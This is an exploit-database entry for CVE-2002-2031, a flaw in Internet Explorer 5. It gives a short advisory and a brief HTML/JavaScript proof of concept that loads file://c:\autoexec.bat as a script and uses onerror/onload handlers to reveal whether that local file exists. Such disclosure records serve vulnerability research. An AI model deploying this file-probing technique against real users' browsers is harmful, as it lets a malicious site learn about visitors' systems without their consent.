Microsoft Internet Explorer 5 - JavaScript Local File Enumeration (1)

Author: Tom Micklovitch
type: remote
platform: windows
port: 
date_added: 2002-01-03  
date_updated: 2012-09-09  
verified: 1  
codes: CVE-2002-2031;OSVDB-3034  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 21198.html  
source: https://www.securityfocus.com/bid/3779/info

Microsoft Internet Explorer is prone to a vulnerability which may disclose sensitive information to a malicious webmaster.

When script code includes a file outside of the document it is embedded in and the file does not exist, the onError event handler will run script if it is enabled. This script can determine whether the file to be included exists or not. This can be used to verify the existence of files on client hosts by creating webpages that include files from the local host using 'file://'.

<html>
<head>
<script language="javascript">
<!--
var fileExists = false;
function yes()
{
alert("the file exists.");
yes = true;
}

function no()
{
if(!fileExists)
{
alert("the file does not exist.");
}
}

window.onerror = yes
window.onload = no
//-->
</script>
<script language="javascript"
src="file://c:\autoexec.bat"></script>
</head>
</html>